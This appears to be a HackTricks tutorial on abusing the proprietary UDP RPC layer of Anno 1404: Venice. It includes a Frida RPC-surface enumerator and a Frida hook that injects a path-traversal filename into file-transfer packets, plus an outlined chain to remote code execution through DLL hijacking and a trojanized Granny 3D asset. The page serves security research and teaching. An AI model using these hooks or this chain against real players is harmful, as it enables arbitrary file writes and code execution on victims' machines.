Custom UDP RPC Enumeration & File-Transfer Abuse
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Mapping proprietary RPC objects with Frida
Older multiplayer titles often embed home-grown RPC stacks on top of UDP. In Anno 1404: Venice this is implemented inside NetComEngine3.dll via the RMC_CallMessage dispatcher, which parses 5 fields from every datagram:
| Field | Purpose |
|---|---|
ID | RPC verb (16-bit) |
Flags | Transport modifiers (reliability, ordering) |
Source | Object ID of the caller |
TargetObject | Remote object instance |
Method | Method index inside the target class |
Two helper functions – ClassToMethodName() and TargetName() – translate raw IDs into human-readable strings for logging. By brute-forcing 24‑bit object IDs and 16‑bit method IDs and calling those helpers we can enumerate the entire remotely reachable surface without traffic captures or symbol leaks.
Frida surface enumerator (trimmed)
'use strict';
const classToMethod = Module.getExportByName('NetComEngine3.dll', 'ClassToMethodName');
const targetName = Module.getExportByName('NetComEngine3.dll', 'TargetName');
function tryID(objID, methodID) {
const method = new NativeFunction(classToMethod, 'pointer', ['pointer', 'uint']);
const target = new NativeFunction(targetName, 'pointer', ['pointer']);
const buf = Memory.alloc(Process.pointerSize);
buf.writeU32(objID);
const m = method(buf, methodID);
if (!m.isNull()) {
const t = target(buf);
console.log(objID.toString(16), '=', t.readUtf16String());
console.log(' -', methodID, '=', m.readUtf16String());
}
}
for (let obj = 0; obj < 0x9000000; obj += 0x400000) {
for (let meth = 0; meth < 0x40; meth++) {
tryID(obj, meth);
}
}
Running frida -l explore-surface.js Addon.exe emitted the complete RPC map, including the Player object (0x7400000) and its file-transfer verbs OnSendFileInit, OnSendFileData, OnReceivedFileData, and OnCancelSendFile. The same workflow applies to any binary protocol that exposes internal reflection helpers: intercept the dispatcher, brute-force IDs, and log what the engine already knows about each callable method.
Tips
- Use the engine’s own logging buffers (
WString::Formatin this case) to avoid reimplementing undocumented string encodings. - Dump
Flagsto identify reliability features (ACK, resend requests) before attempting fuzzing; custom UDP stacks frequently drop malformed packets silently. - Store the enumerated map – it serves as a fuzzing corpus and makes it obvious which objects manipulate the filesystem, world state, or in-game scripting.
Subverting file-transfer RPCs
Multiplayer save synchronization used a two-packet handshake:
OnSendFileInit— carries the UTF‑16 filename the client should use when saving the incoming payload.OnSendFileData— streams raw file contents in fixed-size chunks.
Because the server serializes the filename through ByteStreamWriteString() right before sending, a Frida hook can swap the pointer to a traversal payload while keeping packet sizes intact.
Filename swapper
const writeStr = ptr('0x1003A250');
const ByteStreamWriteString = new NativeFunction(writeStr, 'pointer', ['pointer', 'pointer']);
const evil = Memory.allocUtf16String('..\\..\\..\\..\\Sauvegarde.sww');
Interceptor.attach(writeStr, {
onEnter(args) {
const src = args[1].readPointer();
const value = src.readUtf16String();
if (value && value.indexOf('Sauvegarde.sww') !== -1) {
args[1].writePointer(evil);
}
}
});
Victim clients performed zero sanitisation and wrote the received save to whatever path the hostile host supplied, e.g. dropping into C:\User\user instead of the intended ...\Savegames\MPShare tree. On Windows installations of Anno 1404 the game directory is world-writable, so the traversal instantly becomes an arbitrary file write primitive:
- Drop DLLs for classic search-order hijacking on next launch, or
- Overwrite asset archives (RDA files) so that weaponized models, textures, or scripts are loaded live during the same session.
Defending / attacking other targets
- Look for RPC verbs named
SendFile,Upload,ShareSave, etc., then intercept the serialization helper responsible for filenames or target directories. - Even if filenames are length-checked, many stacks forget to canonicalize
..\or mixed/vs\sequences; brute-force all separators. - When the receiver stores files under the game install path, check ACLs via
icaclsto confirm whether an unprivileged user can drop code there.
Turning path traversal into live asset execution
Once you can upload arbitrary bytes, replace any frequently loaded asset:
- Unpack the archive. RDA archives are DEFLATE-based containers whose metadata is optionally XOR-obfuscated with
srand(0xA2C2A)seeded streams. Tools like RDAExplorer re-pack archives after edits. - Inject a malicious
.gr2. The trojanized Granny 3D file carries the relocation exploit that overwritesSectionContentArrayand, through a two-stage relocation sequence, gains an arbitrary 4-byte write insidegranny2.dll. - Hijack allocator callbacks. With ASLR disabled and DEP off, replacing the
malloc/freefunction pointers ingranny2.dllredirects the next allocation to your shellcode, giving immediate RCE without waiting for the victim to restart the game.
This pattern generalises to any title that streams structured assets from binary archives: combine RPC-level traversal for delivery and unsafe relocation processing for code execution.
References
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks

